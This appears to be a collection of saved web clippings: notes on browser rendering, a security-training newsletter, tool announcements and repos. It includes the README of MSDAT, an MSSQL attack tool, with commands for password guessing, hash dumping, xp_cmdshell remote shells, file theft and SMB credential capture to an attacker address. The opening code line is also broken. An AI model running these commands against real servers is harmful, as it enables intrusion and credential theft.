        int spec1 = r1.selector()->specificity();
        int spec2 = r2.selector()->specificity();
        return (spec1 == spec2) : r1.position() > r2.position() : spec1 > spec2; 
    }
    
[/code]

#### Gradual process

Webkit uses a flag that marks if all top level style sheets \(including
@imports\) have been loaded. If the style is not fully loaded when attaching -
place holders are used and it s marked in the document, and they will be
recalculated once the style sheets were loaded.

### Layout

When the renderer is created and added to the tree, it does not have a
position and size. Calculating these values is called layout or reflow.

HTML uses a flow based layout model, meaning that most of the time it is
possible to compute the geometry in a single pass. Elements later \`\`in the
flow'' typically do not affect the geometry of elements that are earlier
\`\`in the flow'', so layout can proceed left-to-right, top-to-bottom through
the document. There are exceptions - for example, HTML tables may require more
than one pass \(3.5\).

The coordinate system is relative to the root frame. Top and left coordinates
are used.

Layout is a recursive process. It begins at the root renderer, which
corresponds to the `<html>` element of the HTML document. Layout continues
recursively through some or all of the frame hierarchy, computing geometric
information for each renderer that requires it.

The position of the root renderer is 0,0 and its dimensions is the viewport -
the visible part of the browser window.

All renderers have a "layout" or "reflow" method, each renderer invokes the
layout method of its children that need layout.

#### Dirty bit system

In order not to do a full layout for every small change, browser use a "dirty
bit" system. A renderer that is changed or added marks itself and its children
as "dirty" \- needing layout.

There are two flags - "dirty" and "children are dirty". Children are dirty
means that although the renderer itself may be ok, it has at least one child
that needs a layout.

#### Global and incremental layout

Layout can be triggered on the entire render tree - this is "global" layout.
This can happen as a result of:

  1. A global style change that affects all renderers, like a font size change.
  2. As a result of a screen being resized

Layout can be incremental, only the dirty renderers will be layed out \(this
can cause some damage which will require extra layouts\).  
Incremental layout is triggered \(asynchronously\) when renderers are dirty.
For example when new renderers are appended to the render tree after extra
content came from the network and was added to the DOM tree.

<img src='img/Temp2_3558.png' width='326' height='341' />

Figure : Incremental layout - only dirty renderers and their children are
layed out \(3.6\).

#### Asynchronous and Synchronous layout

Incremental layout is done asynchronously. Firefox queues "reflow commands"
for incremental layouts and a scheduler triggers batch execution of these
commands. Webkit also has a timer that executes an incremental layout - the
tree is traversed and "dirty" renderers are layout out.  
Scripts asking for style information, like "offsightHeight" can trigger
incremental layout synchronously.  
Global layout will usually be triggered synchronously.  
Sometimes layout is triggered as a callback after an initial layout because
some attributes , like the scrolling position changed.

#### Optimizations

When a layout is triggered by a "resize" or a change in the renderer
position\(and not size\), the renders sizes are taken from a cache and not
recalculated..  
In some cases - only a sub tree is modified and layout does not start from the
root. This can happen in cases where the change is local and does not affect
its surroundings - like text inserted into text fields \(otherwise every
keystroke would have triggered a layout starting from the root\).

#### The layout process

The layout usually has the following pattern:

  1. Parent renderer determines its own width. 
  2. Parent goes over children and: 
    1. Place the child renderer \(sets its x and y\).
    2. Calls child layout if needed\(they are dirty or we are in a global layout or some other reason\) - this calculates the child's height.
  3. Parent uses children accumulative heights and the heights of the margins and paddings to set it own height - this will be used by the parent renderer's parent.
  4. Sets its dirty bit to false.

Firefox uses a "state" object\(nsHTMLReflowState\) as a parameter to layout
\(termed "reflow"\). Among others the state includes the parents width.  
The output of Firefox layout is a "metrics" object\(nsHTMLReflowMetrics\). It
will contain the renderer computed height.

#### Width calculation

The renderer's width is calculated using the container block's width , the
renderer's style "width" property, the margins and borders.  
For example the width of the following div:

[code]

    <div style="width:30%"/>
    
[/code]

Would be calculated by Webkit as following\(class RenderBox method
calcWidth\):

  * The container width is the maximum of the containers availableWidth and 0. The availableWidth in this case is the contentWidth which is calculated as: 
[code]    clientWidth() - paddingLeft() - paddingRight()

    
[/code]

clientWidth and clientHeight represent the interior of an object excluding
border and scrollbar.

  * The elements width is the "width" style attribute. It will be calculated as an absolute value by computing the percentage of the container width. 
  * The horizontal borders and paddings are now added.

So far this was the calculation of the "preferred width". Now the minimum and
maximum widths will be calculated.  
If the preferred width is higher then the maximum width - the maximum width is
used. If it is lower then the minimum width \(the smallest unbreakable unit\)
hen the minimum width is used.

The values are cached, in case a layout is needed but the width does not
change.

#### Line Breaking

When a renderer in the middle of layout decides it needs to break. It stops
and propagates to its parent it needs to be broken. The parent will create the
extra renderers and calls layout on them.

### Painting

In the painting stage, the render tree is traversed and the renderers "paint"
method is called to display their content on the screen. Painting uses the UI
infrastructure component.

#### Global and Incremental

Like layout, painting can also be global - the entire tree is painted - or
incremental. In incremental painting, some of the renderers change in a way
that does not affect the entire tree. The changed renderer invalidates it's
rectangle on the screen. This causes the OS to see it as a "dirty region" and
generate a "paint" event. The OS does it cleverly and coalesces several
regions into one. In Chrome it is more complicated because the renderer is in
a different process then the main process. Chrome simulates the OS behavior to
some extent. The presentation listens to these events and delegates the
message to the render root. The tree is traversed until the relevant renderer
is reached. It will repaint itself \(and usually its children\).

#### The painting order

CSS2 defines the order of the painting process. This is actually the order in
which the elements are stacked in the stacking contexts. This order affects
painting since the stacks are painted from back to front. The stacking order
of a block renderer is:

  1. background color
  2. background image
  3. border
  4. children
  5. outline

#### Firefox display list

Firefox goes over the render tree and builds a display list for the painted
rectangular. It contains the renderers relevant for the rectangular, in the
right painting order \(backgrounds of the renderers, then borders etc\). That
way the tree needs to be traversed only once for a repaint instead of several
times - painting all backgrounds, then all images , then all borders etc.

Firefox optimizes the process by not adding elements that will be hidden, like
elements completely beneath other opaque elements.

#### Webkit rectangle storage

Before repainting, webkit saves the old rectangle as a bitmap. It then paints
only the delta between the new and old rectangles.  

### Dynamic changes

The browsers try to do the minimal possible actions in response to a change.
So changes to an elements color will cause only repaint of the element.
Changes to the element position will cause layout and repaint of the element,
its children and possibly siblings. Adding a DOM node will cause layout and
repaint of the node. Major changes, like increasing font size of the "html"
element, will cause invalidation of caches, relyout and repaint of the entire
tree.

### The rendering engine's threads

The rendering engine is single threaded. Almost everything, except network
operations, happens in a single thread. In Firefox and safari this is the main
thread of the browser. In chrome it's the tab process main thread.  
Network operations can be performed by several parallel threads. The number of
parallel connections is limited \(usually 2 - 6 connections. Firefox 3, for
example, uses 6\).

#### Event loop

The browser main thread is an event loop. Its an infinite loop that keeps the
process alive. It waits for events \(like layout and paint events\) and
processes them. This is Firefox code for the main event loop:

[code]

    while (!mExiting)
        NS_ProcessNextEvent(thread);
    
[/code]

### CSS2 visual model

#### The canvas

According to CSS2 specification, the term canvas describes "the space where
the formatting structure is rendered." \- where the browser paints the
content. The canvas is infinite for each dimension of the space but browsers
choose an initial width based on the dimensions of the viewport.

According to www.w3.org/TR/CSS2/zindex.html, the canvas is transparent if
contained within another, and given a browser defined color if it is not.

#### CSS Box model

The CSS box model describes the rectangular boxes that are generated for
elements in the document tree and laid out according to the visual formatting
model.  
Each box has a content area \(e.g., text, an image, etc.\) and optional
surrounding padding, border, and margin areas.

<img src='img/Temp2_3565.png' width='509' height='348' />

Figure : CSS2 box model

Each node generates 0..n such boxes.  
All elements have a "display" property that determines their type of box that
will be generated. Examples:

[code]

    block  - generates a block box.
    inline - generates one or more inline boxes.
    none - no box is generated.
    
[/code]

The default is inline but the browser style sheet set other defaults. For
example - the default display for "div" element is block.  
You can find a default style sheet example here:
www.w3.org/TR/CSS2/sample.html

#### Positioning scheme

There are three schemes:

  1. Normal - the object is positioned according to its place in the document - this means its place in the render tree is like its place in the dom tree and layed out according to its box type and dimensions
  2. Float - the object is first layed out like normal flow, then moved as far left or right as possible 
  3. Absolute - the object is put in the render tree differently than its place in the DOM tree

The positioning scheme is set by the "position" property and the "float"
attribute.

  * static and relative cause a normal flow
  * absolute and fixed cause an absolute positioning

  
In static positioning no position is defined and the default positioning is
used. In the other schemes, the author specifies the position -
top,bottom,left,right.

The way the box is layed out is determined by:

  * Box type
  * Box dimensions
  * Positioning scheme
  * External information - like images size and the size of the screen

#### Box types

Block box: forms a block - have their own rectangle on the browser window.

<img src='img/Temp2_3577.png' width='150' height='127' />

Figure : Block box

Inline box: does not have its own block, but is inside a containing block.

<img src='img/Temp2_3580.png' width='300' height='233' />

Figure : Inline boxes

Blocks are formatted vertically one after the other. Inlines are formatted
horizontally.

<img src='img/Temp2_3569.png' width='350' height='324' />

Figure : Block and Inline formatting

Inline boxes are put inside lines or "line boxes". The lines are at least as
tall as the tallest box but can be taller, when the boxes are aligned
"baseline" \- meaning the bottom part of an element is aligned at a point of
another box other then the bottom. In case the container width is not enough,
the inlines will be put in several lines. This is usually what happens in a
paragraph.

<img src='img/Temp2_3557.png' width='400' height='277' />

Figure : Lines

### Positioning

#### Relative

Relative positioning - positioned like usual and then moved by the required
delta.

<img src='img/Temp2_3561.png' width='500' height='261' />

Figure : Relative positioning

#### Floats

A float box is shifted to the left or right of a line. The interesting feature
is that the other boxes flow around it The HTML:

[code]

    <p>
      <img style="float:right" src="images/image.gif" width="100" height="100">
      Lorem ipsum dolor sit amet, consectetuer...
    </p>
    
[/code]

Will look like:

<img src='img/Temp2_3581.png' width='444' height='203' />

Figure : Float

#### Absolute and fixed

The layout is defined exactly regardless of the normal flow. The element does
not participate in the normal flow. The dimensions are relative to the
container. In fixed - the container is the view port.

<img src='img/Temp2_3568.png' width='500' height='343' />

Figure : Fixed positioning

  
Note - the fixed box will not move even when the document is scrolled\!

### Layered representation

It is specified by the z-index CSS property. It represents the 3rd dimension
of the box, its position along the "z axis".

The boxes are divided to stacks \(called stacking contexts\). In each stack
the back elements will be painted first and the forward elements on top,
closer to the user. In case of overlap the will hide the former element.  
The stacks are ordered according to the z-index property. Boxes with "z-index"
property form a local stack. The viewport has the outer stack.

Example:

[code]

    <style type="text/css">
          div { 
            position: absolute; 
            left: 2in; 
            top: 2in; 
          }
    </style>
    
    <p>   
        <div 
             style="z-index: 3;background-color:red; width: 1in; height: 1in; ">
        </div>
        <div
             style="z-index: 1;background-color:green;width: 2in; height: 2in;">
        </div>
     </p>
    
[/code]

The result will be this:

<img src='img/Temp2_3559.png' width='254' height='227' />

Figure : Fixed positioning

Although the red div precedes the green one in the markup, and would have been
painted before in the regular flow, the z-index property is higher, so it is
more forward in the stack held by the root box.

### Resources

  1. Browser architecture 
    1. Grosskurth, Alan. A Reference Architecture for Web Browsers \(pdf\)
    2. Gupta, Vineet. How Browsers Work - Part 1 - Architecture
  2. Parsing 
    1. Aho, Sethi, Ullman, Compilers: Principles, Techniques, and Tools \(aka the "Dragon book"\), Addison-Wesley, 1986 
    2. Rick Jelliffe. The Bold and the Beautiful: two new drafts for HTML 5.
  3. Firefox 
    1. L. David Baron, Faster HTML and CSS: Layout Engine Internals for Web Developers.
    2. L. David Baron, Faster HTML and CSS: Layout Engine Internals for Web Developers \(Google tech talk video\)
    3. L. David Baron, Mozilla's Layout Engine
    4. L. David Baron, Mozilla Style System Documentation
    5. Chris Waterson, Notes on HTML Reflow
    6. Chris Waterson, Gecko Overview
    7. Alexander Larsson, The life of an HTML HTTP request
  4. Webkit 
    1. David Hyatt, Implementing CSS\(part 1\)
    2. David Hyatt, An Overview of WebCore
    3. David Hyatt, WebCore Rendering
    4. David Hyatt, The FOUC Problem
  5. W3C Specifications 
    1. HTML 4.01 Specification
    2. W3C HTML5 Specification
    3. Cascading Style Sheets Level 2 Revision 1 \(CSS 2.1\) Specification
  6. Browsers build instructions 
    1. Firefox. https://developer.mozilla.org/en/Build\_Documentation
    2. Webkit. http://webkit.org/building/build.html

# \[Toothless.co\] The Best Security Applications for FPGAs

**Created:**| _1/17/2017 1:29:45 PM_  
---|---  
**Updated:**| _1/17/2017 1:29:45 PM_  
**Author:**| __  
**Tags:**| _fpga devtools_  
  

  

|  |  | 
# The Best Security Applications for FPGAs

Recon Brussels is next week, its still not late to sign up. We will also be
offering trainings in Singapore for the first time in March.  
---  
View this email in your browser  
---  
|  |  <img src='img/739cfb99-bd28-4304-8d7a-d6c11db38ca9.jpg' width='564' height='248' />  
---  
|  | 
## Putting the skills to good use

  
One question we always get is how relevant our courses are to students and
what some example applications are. Here are some of our favorites.

  * Building custom protocol analyzers for serial protocols, such as CAN, 1wire, SPI and I2C.
  * Building custom fuzzers for fuzzing the hardware used in IoT, embedded and automotive platforms.
  * Building voltage and clock glitchers to bypass the security of the device, see "Glitching for n00bs".
  * Snooping and manipulating data on high speed databuses. FPGAs were used in all recent hacks of gaming consoles, see "Console Hacking 2016 - PS4".
  * FPGAs are used in almost all open source SDR platforms, see "Building a high throughput low-latency PCIe based SDR".

## Last chance to sign up for Recon Brussels

  
Recon, one of the worlds premier technical conferences is coming to Europe.
Recon remains one of our favorite security conferences for its technical
content and its high ratio of hardware to software talks.

  * Dates: January 23-26, 2017
  * Recon Brussels Registration
  * Full Training Description

## WhiskeyCon Singapore

  
This March, for the first time ever we will be offering a training in Asia at
WhiskeyCon in Singapore. This will also be the first time that we will offer
the new 5-day format, read the full details below.

  * Dates: March 25-29, 2017
  * WhiskeyCon Singapore Registration
  * Full Training Description

## Berlin Spring 2017

  
Just as we did last year we will be offering a training in Berlin in April.
We're offering early-bird rates until March 27th and group discounts are also
available.

  * Dates: April 24-28, 2017
  * Berlin Spring 2017 Registration
  * Full Training Description
  * Group Discount Form

  
---  
|  |  |  |  |  |  |  <img src='img/color-twitter-48.png' width='24' height='24' />  
---  
|  |  <img src='img/color-link-48.png' width='24' height='24' />  
---  
|  
---  
|  _Copyright © 2017 Toothless Consulting UG, All rights reserved._  
  
  
Want to change how you receive these emails?  
You can update your preferences or unsubscribe from this list  
---  
|  
---  
  

# Malware Scene Investigator is your forensic savior

**Created:**| _10/10/2013 12:14:58 PM_  
---|---  
**Updated:**| _10/10/2013 12:18:32 PM_  
**Author:**| __  
**Tags:**| _Forensics Malware-analysis_  
  

# **M** alware Scene Investigator is your forensic savior****

Your PC is behaving strangely**.** You think it might have been infected by
something, but your regular antivirus tool hasn’t raised an alert**.** And so
you decide to try and investigate the problem yourself**.**  

Figuring out where to begin can be difficult, though**.** Which drivers should
you investigate, which startup programs or processes**?** If you want to
manually search for malware but aren’t sure where to start, then the free
Malware Scene Investigator could prove very useful**.**

The program is a tiny download \(500KB\), portable and extremely easy to
use**.** Close any running programs, launch Malware Scene Investigator, click
Start Scan, and a tabbed interface then displays the results in two forms.
Clicking Report provides a quick summary, while the Detailed Log tab gives you
a more in-depth view**.**

The program may be small, but Malware Scene Investigator isn’t short on
ambition**.** The program aims to highlight HOSTS file manipulation, unknown
drivers, and dubious proxy settings**.** It looks for unusual disk partitions,
Registry modifications or startup programs. You’ll be warned of executable
files in your temporary folders \(a common route for malware\), and the report
includes general information about your PC’s state \(open network connections,
running processes, scheduled tasks, recently created \Windows\System32 files,
and more\)**.**

We tested this out on a test PC, and the program generally did very well**.**
It highlighted some active third-party drivers, for instance; picked out an
unusual Windows service setting; even warned us about a suspicious startup
entry which we had already become concerned about separately**.** This turned
out to be entirely innocent, but it was impressive that, while we had spent
some time in identifying this file, Malware Scene Investigator managed to
highlight the same executable in around two seconds**.**

Checking for outdated software was less successful, though, at least in our
case**.** The program claimed that we had an outdated version of Flash
installed, but this wasn’t true: it just hadn’t identified our installed Flash
version correctly**.**

Malware Scene Investigator isn’t for novices, then**.** And you can’t rely
100% on everything it says: the program can only give you pointers as to what
you should investigate next**.**

But, if you are worried a PC has been infected by malware, or just want a
general security check, then the program is worth a try, and it certainly
deserves a place in your security toolkit**.**

**Photo Credit:** Johan Swanepoel /Shutterstock

****

# wishi's foo - GitHub

**Created:**| _12/16/2009 8:45:41 PM_  
---|---  
**Updated:**| _12/16/2009 8:45:48 PM_  
**Author:**| __  
**Tags:**| _Git_  
  

## Global setup:

[code]

      Download and install Git
      git config --global user.name "Your Name"
      git config --global user.email wishinet@gmail.com
            
[/code]

## Next steps:

[code]

      mkdir foo
      cd foo
      git init
      touch README
      git add README
      git commit -m 'first commit'
      git remote add origin git@github.com:wishi/foo.git
      git push origin master
          
[/code]

## Existing Git Repo?

[code]

      cd existing_git_repo
      git remote add origin git@github.com:wishi/foo.git
      git push origin master
          
[/code]

## Importing a Subversion Repo?

[code]

      Click here
          
[/code]

## When you're done:

[code]

      Continue
[/code]

# NEW UTILITY: MoonSols HyperTaskMgr v1.0 | MoonSols
**Created:**| _7/19/2011 7:06:25 PM_  
---|---  
**Updated:**| _7/19/2011 7:06:25 PM_  
**Author:**| __  
**Tags:**| _windows environment monitoring_  
  

Home » Blog » NEW UTILITY: MoonSols HyperTaskMgr v1.0

# NEW UTILITY: MoonSols HyperTaskMgr v1.0

Posted by msuiche on Jul 19, 2011 in Blog | 0 comments
Today, I finally decided to release the first public version of MoonSols
HyperTaskMgr.

**What is MoonSols HyperTaskMgr ?**

It’s a new generation Task Manager for IT Professionals to manage Windows
Virtual Machines running under Microsoft Hyper-V R2 Hypervisor. HyperTaskMgr
is running on the host, it’s easily deployable \(One executable and one dll in
total\). You don’t need to install anything inside the target windows virtual
machines.

<img src='img/Temp2_5559.png' width='300' height='176' />  

This first version of MoonSols HyperTaskMgr allows the user to:

  * Display every processes running in each windows virtual machine, as well as each attached dll of any process.
  * Kill any Process
  * Provide SYSTEM privilege on the fly of any process
  * Unlock the virtual machine if you don’t remember you password <img src='img/Temp2_5560.png' alt=';)' />
  * You can also mitigate exploitation of processes against kernel exploits using the “Protect against null page attack” feature.

The protect against null page attack feature is based on Tarjei Mandt
research. You can find more information about his research on his personal
\(and pretty cool\) blog at the following address :
http://mista.nu/blog/2011/07/07/mitigating-null-pointer-exploitation-on-
windows/

For those who are familiar with Microsoft EMET _\(Enhanced Mitigation
Experience Toolkit\),_ you can compare the last feature to a “Kernel-Mode”
version of what EMET is doing for userland processes. Except it’s going to
prevent the exploitation of kernel bugs to avoid security risks such as
privilege escalation.

Contact: support@moonsols.com for bug reports or questions. If you are CEO of
VMWare and you are jealous because you don’t have a such software for your
products and because this utility is only for Microsoft Hyper-V, you can
contact msuiche@moonsols.com

# quentinhardy/msdat

**Created:**| _3/7/2018 8:30:16 AM_  
---|---  
**Updated:**| _3/7/2018 8:30:16 AM_  
**Author:**| _wishi_  
**Tags:**| _sql mssql_  
  

  

# quentinhardy/msdat

###  README.md

# MSDAT

MSDAT \(**M** icro**s** oft SQL **D** atabase **A** ttacking **T** ool\) is an
open source penetration testing tool that tests the security of Microsoft SQL
Databases remotely.

Usage examples of MSDAT:

  * You have a Microsoft database listening remotely and you want to **find valid credentials** in order to connect to the database
  * You have a valid Microsoft SQL account on a database and you want to **escalate your privileges**
  * You have a valid Microsoft SQL account and you want to **execute commands on the operating system** hosting this DB \(xp\_cmdshell\)

Tested on Microsof SQL database 2005, 2008 and 2012.

# Changelog

  * Version **1.0** \(2017/02/15\) :
  * first version realeased

# Features

Thanks to MSDAT \(**M** icro**s** oft SQL **D** atabase **A** ttacking **T**
ool\), you can:

  * **get technical information** \(ex: database version\) of a MSSQL database without to be authenticated
  * **search MSSQL accounts** with a dictionnary attack
  * **test each login as password** \(authentication required\)
  * **get a windows shell** on the database server with 
    * xp\_cmdshell
  * **download** files remotely with: 
    * OLE Automation
    * bulkinsert
    * openrowset
  * **upload** files on the server with: 
    * OLE Automation
    * openrowset
  * **capture a SMB authentication** thanks to: 
    * bulkinsert
    * openrowset
    * _xp\_dirtree_
    * _xp\_fileexist_
    * _xp-getfiledetails_
  * **steal MSSQL hashed password** , on an any MSSQL version
  * **scan ports** through the database: 
    * openrowset
  * **execute SQL requests on a remote MSSQL server** trough the database \(target\) with: 
    * _bulkinsert_
    * _openrowset_
  * **list files/directories** with: 
    * _xp\_subdirs_
    * _xp\_dirtree_
  * **list drives/medias** with: 
    * _xp\_fixeddrives_
    * _xp\_availablemedia_
  * **create folder** with: 
    * _xp\_create\_subdir_

# Installation

Some dependancies must be installed in order to run MSDAT.

In ubuntu:

[code]

    sudo apt-get install freetds-dev 
[/code]

or download freetds on http://www.freetds.org/

[code]

    sudo pip install cython colorlog termcolor pymssql argparse
    sudo pip install argcomplete && sudo activate-global-python-argcomplete
[/code]

Add "use ntlmv2 = yes" in your freetds configuration file \(ex:
/etc/freetds/freetds.conf or /usr/local/etc/freetds.conf\). Example:

[code]

    [global]
            # TDS protocol version
            tds version = 8.0
            use ntlmv2 = yes
[/code]

# Examples

## Modules

  * You can list all modules:

[code]

    ./msdat.py -h
[/code]

  * When you have chosen a module \(example: _all_\), you can use it and you can list all features and options of the module:

[code]

    ./msdat.py all -h
[/code]

You can know if a specific module can be used on a MSSQL server thanks to the
_**\--test-module**_ option. This options is implemented in each mdat module.

## _all_ module

The _all_ module allows you to run all modules \(depends on options that you
have purchased\).

[code]

    python msdat.py all -s $SERVER
[/code]

If you want:

  * to use your own account file for the dictionnary attack
  * try multiple passwords for a user without ask you
  * to define your own timeout value

[code]

    ./msdat.py all -s $SERVER -p $PORT --accounts-file accounts.txt --login-timeout 10 --force-retry
[/code]

In each module, you can define the charset to use with the _\--charset_
option.

## _mssqlinfo_ module

To get technical information about a remote MSSQL server without to be
authenticated:

[code]

    ./msdat.py mssqlinfo -s $SERVER -p $PORT --get-max-info
[/code]

This module uses _**TDS protocol**_ and _**SQL browser Server**_ to get
information.

## _passwordguesser_ module

This module allows you to search valid credentials :

[code]

    ./msdat.py passwordguesser -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --force-retry --search
[/code]

_\--force-retry_ option allows to test multiple passwords for each user
without ask you

You can specify your own account file with the _\--accounts-file_ option:

[code]

    ./msdat.py passwordguesser -s $SERVER -p $PORT --search --accounts-file accounts.txt --force-retry
[/code]

## _passwordstealer_ module

To dump hashed passwords :

[code]

    ./msdat.py passwordstealer -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --dump --save-to-file test.txt
[/code]

This modules has been tested on SQL Server 2000, 2005, 2008 and 2014.

## _xpcmdshell_ module

To execute system commands thanks to _xp\_cmdshell_
\(https://msdn.microsoft.com/en-us/library/ms190693.aspx\):

[code]

    ./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell
[/code]

This previous command give you an interactive shell on the remote database
server.

If _xp\_cmdshell_ is not enabled, the _\--enable-xpcmdshell_ can be used in
this module to activate it:

[code]

    ./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --enable-xpcmdshell --disable-xpcmdshell --disable-xpcmdshell --shell
[/code]

The _\--enable-xpcmdshell_ option enables _xp\_cmdshell_ if it is not enabled
\(not enabled by default\).

The _\--disable-xpcmdshell_ option disables _xp\_cmdshell_ if this one is
enabled.

## _smbauthcapture_ module

Thanks to this module, you can capture a SMB authentication:

[code]

    ./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --capture $MY_IP_ADDRESS --share-name SHARE
[/code]

To capture the SMB authentication, the _auxiliary/server/capture/smb_
\(http://www.rapid7.com/db/modules/auxiliary/server/capture/smb\) module of
metasploit could be used:

[code]

    msf > use auxiliary/server/capture/smb
    msf auxiliary(smb) > exploit
[/code]

The _**capture**_ command of this module tries to capture a SMB authentication
thanks to _xp\_dirtree_ , _xp\_fileexist_ or _xp-getfiledetails_ procedure.

If you want to choose the SMB authentication procedure to capture the
authentication:

[code]

    ./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-dirtree-capture 127.0.0.1
    ./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-fileexist-capture 127.0.0.1
    ./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-getfiledetails-capture 127.0.0.1
[/code]

You can change the SHARE name with the _\--share-name_ option.

## _oleautomation_ module

This module can be used to read/write file in the database server.

The following command read the file _temp.txt_ stored in the database server:

[code]

    ./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'
[/code]

To write a string in a file \(_temp.txt_\) remotely:

[code]

    ./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --write-file 'C:\Users\Administrator\Desktop\temp.txt' 'a\nb\nc\nd\ne\nf'
[/code]

This module can be used to download a file
\(_C:\Users\Administrator\Desktop\temp.txt_\) stored on the database server:

[code]

    ./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt
[/code]

Also, you can use this module to upload a file \(_temp.txt_\) on the target:

[code]

    ./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --put-file temp.txt 'C:\Users\Administrator\Desktop\temp.txt
[/code]

## _bulkopen_ module

The module _bulkopen_ can be used :

  * to read/download files stored on a database server
  * to scan ports through the database server
  * to execute SQL requests on a remote MSSQL server through the database

To read a file stored in the target, the following command can be used:

[code]

    ./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'"
[/code]

The _\--method_ option can be used to specify the method to use:

[code]

    ./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt' --method openrowset
[/code]

To download a file \(_C:\Users\Administrator\Desktop\temp.txt_\):\` \`\`bash
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE
--get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt

[code]

    This module can be used to scan ports (1433 and 1434 of 127.0.0.1) through the database server:
    ```bash
    ./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433,1434 -v
    
[/code]

You can scan a range of ports:

[code]

    ./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433-1438
[/code]

This module can be used to execute SQL requests \(ex: _select @@ServerName_\)
on a remote database server \(ex: $SERVER2\) through the database \($SERVER\):

[code]

    ./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --request-rdb $SERVER2 $PORT $DATABASE $USER $PASSWORD 'select @@ServerName'
[/code]

## _xpdirectory_ module

The module _xpdirectory_ can be used:

  * to list:
  * files
  * directories
  * drives
  * to check if a file exists
  * to create a directory

To list files in a specific directory:

[code]

    ./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-files 'C:\'
[/code]

To list directories in a specific directory:

[code]

    ./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-dir 'C:\'
[/code]

To list drives:

[code]

    ./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-fixed-drives --list-available-media
[/code]

To check if a file exist:

[code]

    ./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --file-exists 'C:\' --file-exists 'file.txt'
[/code]

To create a directory:

[code]

    ./msdat.py xpdirectory --s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --create-dir 'C:\temp'
[/code]

## _search_ module

The module _search_ can be used to search a pattern in column names of tables
and views. Usefull to search the pattern _%password%_ in column names for
example.

To get column names which contains password patterns \(ex: passwd, password,
motdepasse, clave\):

[code]

    ./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns
[/code]

If you want to see column names which doesn't contain a data, you should use
the option _\--show-empty-columns_.

To search a specific pattern in column names of views and tables:

[code]

    ./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns
[/code]

# Donation

If you want to support my work doing a donation, I will appreciate a lot:

  * Via BTC: 36FugL6SnFrFfbVXRPcJATK9GsXEY6mJbf

  

# junxzm1990/pomp

**Created:**| _9/4/2017 9:28:20 AM_  
---|---  
**Updated:**| _9/4/2017 9:28:20 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# POMP: Postmortem Program Analysis with Hardware-Enhanced Post-Crash
Artifacts

Repo for the source code of POMP. It consists of four major components:

  1. Source code of POMP, under reverse-from-coredump/
  2. A customized libdisasm-0.23, under libdisasm-0.23/
  3. A customized Linux Kernel that supports Intel PT, under https://github.com/junxzm1990/pt.git
  4. A Intel PIN tool to simulate Intel PT \(for machines without PT\), under https://github.com/junxzm1990/intel-pin.git

We are currently working on organizing documents and test cases. We have
pushed two testcases for you to test the functionablity of our tool.

We have two branches - master and intelpin. The former is for concrete Intel
PT trace, but not easy to debug; The latter is for Intel Pin Logging trace,
and easy to debug with all the intermediate results.

**Note that our tool only supports 32 bit now.**

If you need to port this tool to 64bit, you need spend time on changing
libdisasm and all the interfaces and code related to libdisasm.

For more detials about POMP, please refer to

@inproceedings \{203880,  
title = \{Postmortem Program Analysis with Hardware-Enhanced Post-Crash
Artifacts\},  
booktitle = \{26th USENIX Security Symposium \(USENIX Security 17\)\},  
year = \{2017\},  
address = \{Vancouver, BC\},  
url = \{https://www.usenix.org/conference/usenixsecurity17/technical-
sessions/presentation/xu-jun\},  
publisher = \{USENIX Association\},  
\}

It would be very convenient if you cite the above article if our code is of
help to your work.

  

# Automatic Flushing in RawCap - NETRESEC Blog

**Created:**| _10/24/2011 11:23:27 AM_  
---|---  
**Updated:**| _10/24/2011 11:23:27 AM_  
**Author:**| __  
**Tags:**| _network-security windows environment software_  
  

###

Sunday, 23 October 2011 16:24:00 \(UTC/GMT\)  

## Automatic Flushing in RawCap

<img src='img/Temp2_941.jpg' alt='Decorative toilet seat' />

 _The “-f” switch can now be used to forceRawCap to immediately flush sniffed
packets to disk._

I've received multiple emails from RawCap users who run into problems when
they want to look at a pcap file from RawCap without terminating the program.
What usually happens in this case is that the output pcap file will be empty
until they terminate RawCap with “Ctrl-C”. The reason for this is that RawCap
has a 1MB data buffer, which is used in order to maximize performance by
reducing unnecessary disk operations. RawCap will therefore not write any data
to disk until it is terminated or has filled the buffer with 1MB of network
traffic.

